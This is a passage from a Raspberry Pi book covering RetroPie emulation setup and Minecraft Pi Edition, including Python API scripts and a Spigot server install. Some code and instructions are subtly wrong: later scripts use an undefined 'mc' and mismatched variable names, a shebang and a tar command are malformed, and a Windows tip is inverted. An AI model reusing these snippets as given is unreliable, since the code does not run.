However, to me the coolest thing about RetroPie is its SD card image, which consists of the
following software layers:
Raspbian: This, of course, is the underlying operating system.
RetroArch: This is the console video game emulator. As it happens, the RetroPie image
contains a number of other emulators (see http://is.gd/qZrTcQ for a comprehensive list), but I
focus on RetroArch in this chapter.
Emulation Station (http://is.gd/a2OmUY): This is the graphical front end for the RetroPie
emulator suite; its big advantages are customizability and the ability to control all the menus
using only your gamepad (no keyboard or mouse required).
Let’s get right into the installation process, shall we?
Installing RetroPie
Here is the high-level overview of the RetroPie installation process:
Create the RetroPie SD card.
Boot the Pi and perform initial configuration.
Populate the ROMs directory. (I teach you more about ROMs later in this chapter, in the
section “Transferring ROMs to RetroPie.”)
Customize controls.
(Optionally) Add media scrapers and other add-ons.
With regard to your Raspberry Pi system requirements, there is nothing too surprising at play:
Raspberry Pi Model B or Model A (you’ll get more performance out of Model B, naturally).
SD card with at least a 4GB capacity. Some video game ROM files are pretty large, so either
invest in a large SD card or plan to store your ROMs on a USB stick plugged into your
powered USB hub.
HDMI connection.
Keyboard and mouse (for initial configuration; after that, you can control Emulation Station
using your joystick or gamepad).
Gamepad or joystick (more on this later in this chapter, in the section “Setting Up Your
Controls”).
Wired or wireless network connection (technically optional but a great convenience
nonetheless).
Task: Setting Up RetroPie
In this procedure, you’ll download, install, and configure RetroPie on your Raspbery
Pi.
1. On your host computer, visit the petRockBlog website and download the RetroPie
Project SD card image from http://is.gd/BSyKRP.
Be aware that the SD image is large; it weighs in at approximately 1.4GB. The file
comes down as a ZIP file, so you’ll need to extract the image file before you can flash it to
SD.
2. Use your favorite SD card flashing utility (you did read and study Chapter 4, “Installing
and Configuring an Operating System,” correct?) to flash the RetroPie image to your SD
card.
3. If you have a joystick or gamepad, now is the time to plug it into your Raspberry Pi.
4. Mount the newly flashed SD card into your powered-off Raspberry Pi and boot it up.
After seeing the RetroPie splash screen, you are taken automatically into Emulation
Station and its text-based wizard to help you configure your joystick or keyboard. I show
you what this screen looks like in Figure 13.2.
FIGURE 13.2 Emulation Station starts you off with some keyboard or joystick control
mapping.
Note: No Joystick?
If you don’t have a joystick, the Emulation Station controller setup wizard will say
“No joysticks detected!” In this case, press F4 to quit the controller setup wizard.
5. For each input action you need to perform when using a game, RetroPie asks you to press
a key on your keyboard or a button on your joystick (see Figure 13.2).
6. You see a “Basic config done!” message when you complete the wizard. You can then
press any button or keyboard key to jump into Emulation Station proper.
Don’t worry if you feel you made one or more mistakes during the initial controller setup wizard. For
instance, your joystick might not have had enough buttons to answer all the setup questions. I show
you how to clean up any residual control anomalies a bit later on in this chapter. Breathe easy!
Transferring ROMs to RetroPie
ROMs are the life blood of the retro gaming community. If you ever owned an NES or Atari 2600 or
any number of other 80s and 90s game consoles, you know that most of these games came packaged in
a small(ish) plastic cartridge.
A ROM image, also called a ROM file, is a bit-for-bit copy of the data from a Read Only Memory
(ROM, get it?) chip from these cartridges. According to copyright law, to legally download a ROM,
you must already possess the original game cartridge for any ROM file that you have in your
possession for play with an emulator. Fortunately, there’s good news if your mom threw out your old
video game collection when you left home: There are any number of outlets, both online and brick and
mortar, that deal in used and vintage game cartridges.
Note: How Do I Create a ROM?
Okay, let’s assume you took down that boxful of ancient Atari 2600 cartridges from a
dusty box in your garage attic. What now? How can you take those legally owned games
and convert them to ROM files that are playable in RetroPie?
I’m glad you asked! The general workflow is that you need to find a way to read the
ROM from your source cartridge (obviously, right?) and then copy that tiny amount of data
either to a blank cartridge or directly to your connected computer. This process always
involves dedicated hardware, and sometimes requires you to download schematics and
assemble PCBs yourself. Personally, I feel ethically safe by downloading the ROMs from a
known source like AtariAge.com so long as I also own the corresponding game cartridges.
For now, I assume that you have one or more game ROMs that you’d like to load on your RetroPie
device. How do you do that?
Well first of all, remember that RetroPie uses Raspbian under the hood as the host operating system,
so your first order of business is to run sudo raspi-config and perform the initial setup of the device.
If you need a refresher, just take a look back at the raspi-config sections in Chapter 4.
Next, you should update the system software and reboot:
Click here to view code image
sudo apt-get update && sudo apt-get upgrade
sudo reboot
Note: Enhancing Performance
You might also want to consider adjusting the Pi’s memory split to favor graphics over
processor performance, as well as enabling overclocking. I cover both of these subjects in
exhaustive detail in Chapter 18, “Raspberry Pi Overclocking.”
As you know, Raspbian enables Secure Shell (SSH) connections by default. Thus, you can use a
Secure Copy (SCP) utility to transfer ROM files to the Pi.
Task: Transferring ROMs to Your Raspberry Pi
1. On your Raspberry Pi, if you are in Emulation Station, press F4 to exit to a Terminal
prompt. Next, type ifconfig eth0 to obtain the Pi’s IP address.
2. On a remote computer that hosts your ROM files, use FileZilla, Cyberduck
(http://is.gd/JDzRgw), or another SFTP client tool to connect to your Pi. Be sure to
specify SFTP, and not FTP, as the connection method.
The default username and password are the ones you would expect: username, pi;
password, raspberry.
Take a look at Figure 13.3 to see how I set up my connection in FileZilla. To create a
new stored connection, open FileZilla and click File, Site Manager, New Site.
FIGURE 13.3 FileZilla enables you to store connection information permanently for
convenience.
3. Navigate to the path /home/pi/RetroPie/roms. You see that RetroPie creates folders to
store ROMs for all its supported console video game platforms.
4. You can now drag and drop your ROM files into the appropriate subfolders. Note that
you need to upload the actual binary ROM files to the Pi. For instance, NES ROMs
typically have the .nes file extension, but Atari 2600 ROMs usually employ the .bin file
extension. You can see my system in Figure 13.4.
FIGURE 13.4 Here you can see where ROMs should be stored on your RetroPie machine.
5. You can start Emulation Station from the Terminal prompt of your Pi by issuing the
following simple command:
emulationstation
Remember that Linux is case-sensitive; thus EmulationStation or
EMULATIONSTATION generate errors, but not Emulation Station.
By default, Emulation Station/RetroPie includes the following games:
Cave Story
Doom
Duke Nukem 3D (demo)
You can also start the LinApple Apple II emulator (http://is.gd/Ea0UUT) and the rpix86 DOS 5.0
emulator (http://is.gd/1vGqRY) and run old Apple II games.
You can use your mapped LEFT and RIGHT controls to switch among the installed games and use
your mapped ACCEPT button to start one. More on gameplay later, though—one step at a time!
If you run into any expected results in the ROM detection process, your first step should be to open up
the ~/.emulationstation/es_systems.cfg configuration file for editing.
The two parameters you want to watch for are
PATH: This is the default location where Emulation Station expects to find game ROMs for
each platform. If this is set incorrectly, you won’t be able to see your games.
EXTENSION: You need to ensure that your game ROMs all have one of the supported file
extensions for detection to complete properly. For instance, the most common Atari 2600 ROM
file extensions are .bin, .img, and .z26. NES file extensions are typically, reasonably enough,
.nes.
Note: Showing File Extensions in Windows
In Windows 7 or Windows 8, file extensions are hidden by default. To show them, open
the Folder Options Control Panel and navigate to the View tab. Under Advanced Settings:,
enable the option Hide extensions for known file types and click OK to confirm the change.
In OS X, choose Finder > Preferences, and then navigate to the Advanced pane. Next,
enable the option Show all filename extensions.
If you make any changes to the file, don’t forget to save your changes and reboot your Pi before
attempting another scrape.
Before I get to playing games (I know you are as excited to do that as I am), let’s revisit how to tweak
up the keyboard and, more importantly, the joystick controls.
Setting Up Your Controls
Emulation Station is optimized for joystick/gamepad-based control. However, for the sake of
completeness I want to show you how to edit the keyboard mappings.
From Emulation Station, press F4 to exit to a Terminal prompt. The RetroPie controls (all of them,
keyboard and joystick) are stored in a configuration file named retroarch.cfg. Use the following
command to edit the file:
Click here to view code image
sudo nano ~/RetroPie/configs/all/retroarch.cfg
Of course, you can also use your SFTP utility to download a copy of the file to your remote computer,
edit the file using your favorite text editor, and reupload the file to the Pi, overwriting the old version.
In any event, look for the line that starts with # Keyboard input. You can edit the key mapping values
directly here; look at Figure 13.5 to see my setup.
FIGURE 13.5 The retroarch.cfg file is where all RetroPie control defaults are stored.
Note: Extra, Extra, Read All About It!
You should study the full contents of the retroarch.cfg file because you can actually
make some pretty cool changes to RetroPie. For instance, visit the #Saves state section to
customize key or joystick mappings to save and load game state. Very useful!
Now let’s turn our attention to joystick mappings.
Task: Configure RetroPie Joystick Control Mappings
You can use the retroarch-joyconfig utility to customize joystick mappings. Let’s do that
now.
1. From the Terminal prompt on your RetroPie computer, navigate to the appropriate
directory location.
Click here to view code image
cd ~/RetroPie/emulators/RetroArch/tools
2. If you run retroarch-joyconfig with no parameters, the results of your configuration are
dumped to the screen but are not saved in the retroarch.cfg file. That isn’t cool. Thus, you
need to redirect the output of the retroarch-joyconfig program directly to the retroarch.cfg
file like so:
Click here to view code image
./retroarch-joyconfig >> ~/RetroPie/configs/all/retroarch.cfg
3. You are prompted to assign bindings for each command; do so by pressing the
appropriate button on your joystick. A screen capture (not the greatest) of my monitor is
shown in Figure 13.6.
FIGURE 13.6 Establishing your joystick key bindings
You can always edit the retroarch.cfg file afterward to remove or comment out lines that aren’t
relevant to your joystick. To comment out (and therefore nullify without deleting) an entry, simply
prepend the line with an octothorpe (#) character.
There’s one more edit you should consider making to retroarch.cfg because you should definitely add
a joystick mapping that allows you to exit your active emulator and return to Emulation Station. After
all, you shouldn’t have to reboot the Pi to revisit your game menus.
Note: Don’t Forget StartX
If you don’t like using nano or another text-based text editor, you can always type
startx and use the GUI tools in LXDE to accomplish your RetroPie configuration. Just
remember to dump X and return to the Terminal shell when you’re finished. (As a reminder
for doing so, you can click the red Power button in the lower right corner of LXPanel.)
Go to the end of the retroarch.cfg file and add the following two lines:
Click here to view code image
input_enable_hotkey_btn = "X"
input_exit_emulator_btn="Y"
Substitute X and Y for two joystick buttons that you’ll press simultaneously to exit the emulator and
return to Emulation Station. (And don’t forget what you selected!)
Playing Your Games
If you haven’t already done so, reboot your Raspberry Pi or type emulationstation from the Terminal
prompt to start Emulation Station. Here’s the deal:
Use the LEFT and RIGHT controls to scroll through the emulator menus: You only see an
entry for emulators that actually contain ROMs. Thus, on my system I have game lists for Atari
2600 and NES because I uploaded ROMs for those platforms.
Use the UP and DOWN controls to scroll through the game menus, and use the ACCEPT
and SELECT controls to launch and start games: If you mapped the PAGE UP, PAGE
DOWN, or START WITH LETTER mappings, it makes it easier to locate games in huge ROM
lists.
Use ESC or whatever custom joystick mapping you specified to exit the emulator and
return to Emulation Station: This is a particularly important option because you should be
able to return to Emulation Station without having to reboot the Raspberry Pi.
Figure 13.7 shows you a typical game screen.
FIGURE 13.7 This is Super Mario Brothers, one of the most popular video games of all time.
I’ve found that the performance of the retro video games is (at least) as good as it is on original
hardware. Does that surprise you? Think of it this way: Even the Model A Raspberry Pi board is
orders of magnitude more powerful than, say, the Atari 2600 or the NES (SNES, for that matter).
One thing—you might be put off by the slightly warped display of old 8-bit games on your widescreen
monitor. By default, the games fill the entire screen. To tweak up the emulator resolution, open
retroarch.cfg for editing, and check out the #### Video section.
Notice that most of the configuration entries are commented out (that is to say, deactivated). To
activate an option, simply remove the octothorpe (#) preceding the appropriate line.
Installing Useful Add-Ons
In Chapter 12, “Raspberry Pi Media Center,” you learned how useful media scrapers are to fill in the
blanks on media content. Did you know that you can use media scrapers with your retro video game
ROMs as well?
Yes, indeed. Not only can you play your favorite old-school games, but you can see the original box
art, learn trivia about the game’s history, and much more.
To truly dig into all possible retro video game goodness, let me show you how to install the ES-
scraper utility to scrape your ROM directories and download box art and game descriptions.
Task: Install ES-Scraper
1. From Terminal on your Raspberry Pi, navigate to the appropriate directory:
Click here to view code image
cd (to ensure you're in your home directory)
cd RetroPie/supplementary
2. Create a local copy of the ES-scraper online repository and run the RetroPie setup Linux
shell script:
Click here to view code image
git clone http://github.com/elpender/ES-scraper
cd
cd RetroPie-Setup
sudo ./retropie_setup.sh
3. When you’re in the RetroPie Setup utility, use the Tab, number, and Enter keys to
navigate the text menus.
In the Choose installation either based on binaries or on sources dialog, select Setup
(only if you already have run one of these installations).
4. In the Choose task dialog, select Run ‘ES-scraper’ as shown in Figure 13.8.
FIGURE 13.8 You can force a game ROM metadata scrape from within the RetroPie Setup
script.
5. Select (Re-)scrape of the ROMs directory to perform an immediate ROM discovery and
metadata download.
The time required for ES-Scraper to complete its metadata scrape and resource download depends on
the number and type of game ROMs you have available on your Raspberry Pi.
When the process is complete, you can cancel out of the RetroPie Setup script, reboot your Pi, and
enjoy the new artwork! An example of downloaded game descriptions and box art is shown in Figure
13.9.
FIGURE 13.9 The downloaded box art and game description data makes browsing your ROM
collection that much more enjoyable.
In Search of the Perfect Joystick
In my experience, RetroPie does an excellent job of detecting your USB joystick or gamepad. I have
used many, many game controllers over the years, and for my money nothing beats my old Logitech
Rumblepad 2, which employs the classic Playstation/PS2 form factor.
Note: In Case You Wondered...
If you’ve wondered throughout this chapter, “What’s the difference between a gamepad
and a joystick?” let me clear up any residual confusion. A gamepad, also called a joypad,
is a game controller that is typically operated with two hands. Gamepads usually have an 8-
way digital pad (d-pad) as well as one or two analog sticks. By contrast, a joystick consists
of a single 8-way or analog control handle, with or without additional action buttons or
triggers.
On the other hand, many retro video game purists want to enjoy their favorite emulated games by
using either a reproduction or original controller from the original consoles. Quality varies widely
for the USB reproductions; most of us prefer adapters that transform the proprietary controller plugs
into USB. In Figure 13.10 you can see a mashup of some of my favorite video game controllers.
FIGURE 13.10 Some of my favorite video game controllers: (1) Logitech Rumblepad 2; (2)
Atari 2600; (3) SNES; (4) Sega Genesis.
RetroZone (http://is.gd/Cs2GKf) sells USB adapters for the following console video game
controllers:
Atari 2600
NES
Nintendo 64
Sega Genesis
SNES
Please note that you still need to purchase the original controller in addition to buying an adapter.
They don’t all rate so well among hardcore classic gamers, but some companies produce
reproductions of old controllers with native USB connectivity:
Tomee NES USB Controller (http://is.gd/DkrM9c)
Tomee SNES USB Controller (http://is.gd/kEZg3P)
Retrolink NES USB Controller (http://is.gd/1kuzKi)
Retrolink SNES USB Controller (http://is.gd/PJUB0h)
Retrolink Nintendo 64 USB Controller (http://is.gd/68XUFP)
Retrolink “Classic Controller” (modeled on Sega Genesis controller) (http://is.gd/3HzHns)
The people behind the Retropie Project have developed a GPIO adapter for the original Super
Nintendo Entertainment Center (SNES) controllers. You can get all of the details and assembly
instructions at their website at http://is.gd/clRqqZ.
As you can see (at least in part) in Figure 13.11, the unit consists of an adapter PCB, two SNES
connectors, a couple ribbon cables, and a ribbon crimp connector.
FIGURE 13.11 The PetRockBlog RetroPie GPIO Adapter
The GPIO adapter includes an extra tactile pushbutton that can be useful, for instance, to map to the
EXIT EMULATOR command, which of course allows you to cleanly close the emulator.
From the looks of their documentation, the mapping between the SNES controller pinout and the
Raspberry Pi pinout is pretty straightforward. Check out Figure 13.12 to judge for yourself. Basically
you are soldering each SNES connector lead to a ribbon cable, which in turn connects to particular
pins on the Raspberry Pi GPIO header.
FIGURE 13.12 RetroPie GPIO Adapter pinout schematic
If you can catch them while they have units in stock, the PetRockBlog also sells fully assembled units
for $18.40 USD. All you have to do with the purchased units is to solder the SNES controller
connectors to the included ribbon cable.
Chapter 14. Raspberry Pi Minecraft Server
Minecraft, a sandbox construction game originally created by the Swedish programmer Markkus
“Notch” Persson (http://is.gd/Y7W6Gy) and later absorbed by Notch’s company Mojang AB
(http://is.gd/07x9Au), is more than a game: It is a phenomenon. In a gaming context, “sandbox” means
that the game has no defined storyline; instead, players can roam around the game world and do pretty
much whatever they want (see Figure 14.1).
FIGURE 14.1 Minecraft 1.5.2 for Microsoft Windows
As a game developer you know you are onto something when your product is used in school as well
as home, and gamers collaborate with each other and lose sleep playing it.
Retro video game nerds such as myself deeply appreciate the chunky 8-bit graphics. In fact, the visual
presentation of Minecraft reminds me of a cross between Super Mario Brothers for the Nintendo
Entertainment System and Doom for the PC.
As the game title suggests, the two main tasks in Minecraft are mining, which involves breaking
various and sundry ore blocks in search of useful raw materials, and crafting, which means taking
mined raw materials and fashioning tools, weapons, furniture, food...you name it.
Minecraft includes two primary game modes:
Survival: The player’s avatar can die, and the world is inhabited by enemy nonplayer
characters (NPCs) called mobs that can destroy the player. The player also starts with no tools
or raw materials but can install other user-made modifications (mods) to change how the game
world works. The focus on this mode is on exploration, combat, resource gathering, and
construction.
Creative: The player’s avatar cannot die and is capable of flight. No mobs exist in this world.
The player’s inventory includes all items found in the game, including materials, eggs, potions,
and so forth. Because Creative mode involves no combat and has no need to forage for tools
and resources, the focus here is on creative construction.
Minecraft includes two additional gameplay modes, Adventure and Hardcore, that aren’t completely
fleshed out as of this writing in summer 2013. You can read more about Minecraft game modes by
visiting the Minecraft Wiki at http://is.gd/8kEFWj.
Note: Learn How to Play Minecraft
In this chapter, I provide only the most cursory of introductions to Minecraft and
assume you have at least a passing familiarity with its gameplay. For a complete
introduction to the game, please read my Pearson colleague Stephen O’Brien’s excellent
book (which I tech-edited it, in fact), The Ultimate Player’s Guide to Minecraft
(http://is.gd/yvXXbl).
In general, I think the main reasons why Minecraft is so popular are the following:
Players can assert and flex their creativity.
The game enables players to create objects and share them with other players around the
world.
The game is extensible, allowing proficient players to broaden and deepen the game world.
Minecraft is also used in primary, secondary, and higher education. Why? Let’s count some of the
ways:
The game teaches problem-solving skills in a manner that is engaging and fun.
It teaches players how to use code to modify the behavior of a system (modding; more on that
subject later).
The game itself can be used as an instructional tool. For instance, a teacher can build lessons
inside a shared Minecraft game world, and the students can interact with the lesson as avatars.
The Mojang business model for Minecraft is to give players what they want and port the game to as
many different computing platforms as possible. Check it out:
Minecraft: The original game is coded in Java and runs on Windows, OS X, and Linux.
Minecraft-Pocket Edition: This is a heavily scaled-back edition of Minecraft that is coded in
C++ and runs on iOS (iPhone, iPod touch, iPad) and Android.
Minecraft: Xbox 360 Edition: This is not only the full version of Minecraft, but the game also
includes several features that are specific to the Xbox 360 port, such as simpler crafting
mechanics, in-game tutorials, and robust split-screen and Internet multiplayer gaming.
Minecraft: Pi Edition: This is an educational Minecraft port that is largely unlocked and
allows the gamer much greater control over the game world compared to the other editions of
the game.
Naturally, this book is all about the Raspberry Pi, so I am constraining the discussion in the remainder
of this chapter to Minecraft: Pi Edition.
The Minecraft server forms the basis of the multiplayer aspect of the game. Therefore, I also cover
how to build a Raspberry Pi-powered Minecraft game server.
Let’s get to work!
Installing Minecraft Pi
According to the documentation at the Minecraft Pi website (http://is.gd/ORylMx), Minecraft Pi has
been optimized to run under the official Raspbian Linux distribution. Therefore, if you haven’t
already flashed your SD card and gotten your Raspbian-based Pi up and running, please do that first
before proceeding. Remember that we learned how to flash SD cards in Chapter 4, “Installing and
Configuring an Operating System.”
Before you begin, it’s important to note that Minecraft Pi doesn’t work over a VNC connection, so
make sure you boot your Pi with a monitor, keyboard, and mouse attached.
Task: Installing Minecraft Pi
In this procedure you’ll get Minecraft Pi up and running on your Raspberry Pi. For
obvious reasons, you’ll be working from an LXDE graphical shell here.
1. If you aren’t already in LXDE, type startx from the Bash shell prompt to get into GUI
mode.
2. Make sure you are in your home directory, and then make a directory for the game:
cd
mkdir Minecraft
cd Minecraft
3. Fire up LXTerminal and download the software using the nifty wget utility:
Click here to view code image
wget -O Minecraft-pi-0.1.1.tar.gz [ic:ccc]https://s3.amazonaws.com/assets.
Minecraft.net/pi/[ic:ccc]Minecraft-pi-0.1.1.tar.gz
Note: A Matter of Formatting
When I give you single command statements such as the wget statement in step 3,
don’t use the Enter or Return key until you’ve typed in the entire statement. In other
words, ignore the line breaks in the book unless specifically instructed not to.
4. Use tar to extract the contents of the tar.gz archive you just downloaded:
Click here to view code image
tar –zxvf Minecraft-pi-0.1.1.tar.gz
5. Delete the tar.gz archive, navigate into the newly extracted game directory, and start the
game!
Click here to view code image
rm Minecraft-pi-0.1.1.tar.gz
cd mcpi
./Minecraft-pi
Notice that in Linux, you run executable programs from the current working directory using the dot
slash notation. This shorthand notation enables you to run programs without (a) having to supply the
entire path to the executable, or (b) having to put the app path in the system’s PATH environment
variable.
Minecraft’s Home menu screen is displayed in Figure 14.2.
FIGURE 14.2 Minecraft Pi Edition
To play, click Start Game and click Create New to build a new world. Here are your basic controls
(you can also read ~/Minecraft/mcpi/CONTROLS.txt):
Mouse: Turn your avatar.
Left Mouse Button: Remove block.
Right Mouse Button: Place/hit block.
Mouse Wheel: Select inventory item.
W, A, S, D: Move your avatar forward, backward, left and right, respectively.
SPACE: Jump.
E: Open inventory.
1-8: Select inventory slot to use.
ESC: Show or hide game menu.
TAB: Release mouse.
Minecraft Pi Edition is built from the Minecraft Pocket Edition code base, so if you played
Minecraft on your iOS or Android device, then you pretty much understand how the game works on
the Raspberry Pi. One significant limitation of the Minecraft Pi Edition, at least in the initial 0.1.1
release, is that the game supports only the Creative game mode.
Accessing the Python API
An application programming interface (API) is a set of rules that define how a user can access and
potentially modify the default code base for an application. As I said earlier, Minecraft Pi Edition
was developed as a way to teach people how to learn computer programming in the context of game
development. Accordingly, the good people at Mojang include class libraries for both Python
(located in ~/Minecraft/mcpi/api/python/mcpi) and Java (located in ~/Minecraft/mcpi/api/java)
programming languages.
Note: Head of the Class
In object-oriented programming (OOP) terminology, you can look at a class as a
template that describes the attributes (properties) and behaviors (methods) of an object. All
objects in Minecraft are originally defined as classes. A class library is simply a code file
that is filled with class (object) definitions.
The Python class libraries are Python 2, not Python 3, but don’t worry about that; everything you
learned
in Chapters 10, “Programming Raspberry Pi with Python—Beginnings,”
and 11,
“Programming Raspberry Pi with Python—Next Steps,” still applies. I’m just speculating, but I
believe that Mojang chose Python 2 over Python 3 because they wanted the class libraries to reach the
widest possible audience. After all, most OS X and Linux distributions include Python 2 by default.
In short, you have a handful of Python and Java scripts that provide the Minecraft player with tools to
control the game world. This is pretty cool stuff, so let’s dive right in, shall we?
Task: Loading the Minecraft Python Libraries
Here we will make a copy of the Python class libraries and create a simple script that
pops a chat session into an active game. The examples in this section are adapted from
Martin O’Hanlon’s wonderful work at his Stuff about Code blog (http://is.gd/Y2nUFZ).
1. Run Minecraft Pi Edition and start a new game. You must be in world to see any results
of your API programming.
2. Press the TAB key to escape the game and free you up to go elsewhere in LXDE.
3. Open an LX Terminal session and create a working directory for your scripts and copy
the API files into the new folder:
Click here to view code image
cd
mkdir Minecraft-magpi
cp -r Minecraft/mcpi/api/python/mcpi/ Minecraft-magpi/Minecraft
I’m assuming that Minecraft Pi exists in the path ~/Minecraft. Also note that the API
library files need to be stored in a subdirectory called Minecraft.
4. Let’s create a new script file:
Click here to view code image
sudo nano Minecraft-magpi/mctest.py
5. Populate the file like so:
Click here to view code image
#!usr/bin/env python
import Minecraft.Minecraft as Minecraft
import Minecraft.block as block
import time
mc = Minecraft.Minecraft.create()
mc.postToChat("Hello, World of Minecraft!")
time.sleep(5)
Whew—that is a lot of code. Let’s take it line by line:
1: This is the traditional “shebang” line that gives the operating system direction for finding
the Python interpreter
2–4: Import relevant modules. The first two calls pull two classes from the API libraries;
one for the Minecraft world itself, and the second one for the Minecraft block. The time
module is built into the Python default class libraries.
5: Instantiate (or bring into being) an instance of the Minecraft world, packed into a
variable named mc. This code essentially connects you to the running Minecraft instance
on the Pi.
6: Use the postToChat method of the Minecraft object to send a chat message to the game
session.
7: The sleep function controls how long you want your chat message to stay on screen.
Save your work and close the script file when you’re finished.
6. Now let’s test by running the script. Make sure to switch focus back to the game screen
to get the full effect.
Click here to view code image
python Minecraft-magpi/mctest.py
You can view the output in Figure 14.3.
FIGURE 14.3 Using Python to interact with the Minecraft world
The
overall Minecraft
Pi
Edition
Python API
specs
can
be
found
in
the
file
~/Minecraft/mcpi/api/spec/mcpi_protocol_spec.txt. This file explains how all of the API functions
work. It’s recommended reading, for sure.
How about another example? Note that the player’s avatar coordinates are displayed in the upper-left
corner of the screen. Check out Figure 14.4 for a visual explanation of what these coordinate values
mean.
FIGURE 14.4 Minecraft Pi Edition displays the player’s location onscreen by using x, y, and z
coordinates.
As you can see by studying Figure 14.4, coordinates denote an object’s specific location within the
Minecraft world.
Task: Making Your Player Jump High!
In this task you’ll play with the Minecraft environment by modifying Minecraft such
that your avatar is thrown high in the air like a cannonball.
1. Reopen the mctest.py script file you created in the previous exercise and open it up in
nano or your favorite text editor.
2. Make the code in your script file look like mine:
Click here to view code image
#!usr/bin/env python
import Minecraft.Minecraft as Minecraft
import Minecraft.block as block
import time
playerPos = mc.player.getPos()
mc.player.setPos(playerPos.x, playerPos.y + 100, playerPos.z)
mc.postToChat("You are gonna fall!")
time.sleep(5)
There are two new lines of code here (lines 5 and 6) relative to the previous task:
Define a variable that stores the player’s current onscreen position (x, y, and z
coordinates)
Adjust the player’s position 100 blocks along the y (vertical) axis. This has the effect of
boosting the avatar high into the air.
3. When you run the script, be sure to take control of the game within five seconds because
your avatar is going to typify the old law “What goes up must come down!”
How about we do one more quick example, this one demonstrating how you can alter the mining and
crafting aspects of the game.
Task: Create a Diamond Floor
1. Again, open up your previous mctest.py script file, this time editing the contents to match
the following:
Click here to view code image
#!usr/bin/env python
import Minecraft.Minecraft as Minecraft
import Minecraft.block as block
import time
PlayerPos = mc.player.getPos()
PlayerTilePos = mc.player.getTilePos()
mc.setBlocks(playerTilePos.x - 25, playerTilePos.y - 1, playerTilePos.z - 25,
playerTilePos.x + 25, playerTilePos.y -1, playerTilePos.z + 25,
block.DIAMOND_BLOCK)
mc.postToChat("Now thats a big diamond floor!")
2. Switch to your game screen to verify that the code has gone into effect. The stunning,
valuable result is shown in Figure 14.5.
FIGURE 14.5 The world is your oyster...or diamond...in Minecraft Pi Edition.
You learned in the previous example that mc.player.getPos() determines the current coordinates of the
player.
The PlayerTilePos variable determines which tile the player is currently standing on.
The setBlocks function is pretty robust; be sure to read the documentation to get the names of all the
block types. The generic formulation of the function is
Click here to view code image
setBlocks(x1, y1, z1, x2, y2, z2, blockType, blockData),
This code takes two sets of coordinates and fills the gap between them with a particular block type. In
this case it creates 25 diamond blocks in front of, behind, to the left, and to the right of the player,
which places the player directly in the center of a big, diamond square. Pretty cool, eh?
Building a Minecraft Server
At its core, Minecraft is a single-player game. However, multiplayer functionality is built into the
platform, which enables more than one player to coexist in the same game world. What’s different
about Minecraft multiplayer from, say, Call of Duty, is that in Minecraft players tend to work
cooperatively in building things rather than against each other.
Numerous public Minecraft servers are available for connection, and you can always download the
free Minecraft Multiplayer Server software for Windows, OS X, or Linux at http://is.gd/Scuod8.
The challenge to making your Raspberry Pi a Minecraft server is, naturally, the board’s hardware
resource limitations, but also the heaviness of Java. As it happens, the multiplayer server software is
a Java server application, so you need to do some extra homework to make this happen using your
battle-weary Pi.
To prepare your Pi for duty as a Minecraft server, make the following tweaks to your system:
If you can, use your Ethernet cable to connect to your local area network instead of a Wi-Fi
dongle. You’ll get more reliable data transmission and speed.
Run sudo raspi-config and adjust the CPU/GPU memory split in favor of the CPU. Some server
operators suggest setting the GPU to only 16MB. Then overclock the Pi as much as you dare.
I cover the CPU/GPU split and overclocking in detail in Chapter 18, “Raspberry Pi
Overclocking.”
Make sure your system is current by running
Click here to view code image
sudo apt-get update && sudo apt-get upgrade
If you’ve installed applications and services that run in the background, consider reflashing that
SD card or loading up another card with a pristine install of Raspbian. You don’t need
unwanted cruft slowing down your Minecraft server.
You have the decision whether to install a stock Minecraft server using the installer provided by
Mojang or to install a modified version. The two most popular Minecraft server alternatives are
CraftBukkit (http://is.gd/Dpm6VE): Modified version of the Mojang Minecraft server file;
allows for plugins and various other extensions to the Minecraft server environment.
Specifically, CraftBukkit is the Bukkit server executable, and Bukkit represents the
programming API.
Spigot (http://is.gd/Nj654R): Modified version of the Bukkit API; optimized for smaller
servers (like the Raspberry Pi!).
In this chapter I take you down the Spigot route. That won’t exempt you from the Java requirement,
but you’ll have a much leaner, cleaner, meaner, and better performing Minecraft server.
Task: Installing Java and the Minecraft Server
1. From a shell prompt, verify that you don’t have Java installed:
java -version
This command should throw an error if Java is not present on the system.
2. Pull down and install an appropriate Java distribution now, after first ensuring that your
Pi has the appropriate certification authority (CA) certificates:
Click here to view code image
sudo apt-get install ca-certificates
sudo wget http://www.java.net/download/JavaFXarm/jdk-8-ea-b36e-linux-arm-hflt-
29_
nov_2012.tar.gz
This installs a version of Java that Oracle developed expressly for the Raspberry Pi;
read more about it at the Java.net website: http://is.gd/L8T7fJ.
3. That Java package name is huge, so rename it to make it more manageable:
Click here to view code image
mv jdk-8-ea-b36e-linux-arm-hflt-29_nov_2012.tar.gz jdk.tar.gz
Note: Tab Completion Rocks
I know that I’ve mentioned this before, but it bears repeating: You can double,
triple, or quadruple your Linux command-line navigation if you get into the habit of
pressing Tab after typing the first few characters of a folder or file name. Tab
completion works; it really does!
4. Perform some housekeeping and actually install Java:
Click here to view code image
mkdir -p /opt
sudo tar zxvf jdk.tar.gz /opt
rm jdk.tar.gz
5. Verify you have Java installed:
Click here to view code image
sudo /opt/jdk1.8.0/bin/java –version
6. Cool! With Java installed, you’re halfway home. Let’s now install Spigot:
Click here to view code image
cd
sudo wget http://ci.md-5.net/job/Spigot/lastBuild/artifact/Spigot-Server/target/
spigot.jar
By the time you read this, md-5 will have released a newer build of Spigot. Thus, keep
the website http://is.gd/3nF2tr bookmarked and edit the URL just given to reference the
latest and greatest build.
7. It’s time to start the Minecraft server. Doing so creates the server.properties file from
which you can tweak the server’s behavior.
Click here to view code image
sudo /opt/jdk1.8.0/bin/java -Xms128M -Xmx256M -jar /home/pi/spigot.jar nogui
In this statement, you start the Java virtual machine using a RAM footprint of between
128MB on the low end and 256MB on the high end. The nogui parameter is important
because, of course, you need to run your server as lean and mean as possible to conserve
system resources.
Expect it to take several minutes for the server to fully generate the Minecraft
environment. While the server bootstraps, you see hundreds of lines of output scroll in your
Terminal window. Do not be alarmed.
8. To test the server, start Minecraft from a remote system, click Multiplayer in the splash
screen (Join Game in Minecraft Pi Edition), and select your Raspberry Pi server from
the server list (see Figure 14.6).
FIGURE 14.6 You can connect to our multiplayer server either locally or remotely.
Note: Version Control Again, and Yet Again
If you see the “Server Outdated” error message when you try to connect to the
server from the Minecraft client, you should download the latest version of the Spigot
software. You can keep abreast of version releases at the Spigot website at
http://is.gd/3nF2tr.
9. Double-click the Pi server in the list, and you’re logged in!
Note that if you want to advertise your Minecraft Pi Server to the Internet, you need to configure your
router to forward traffic on Transmission Control Protocol (TCP) port 25565. You can learn how to
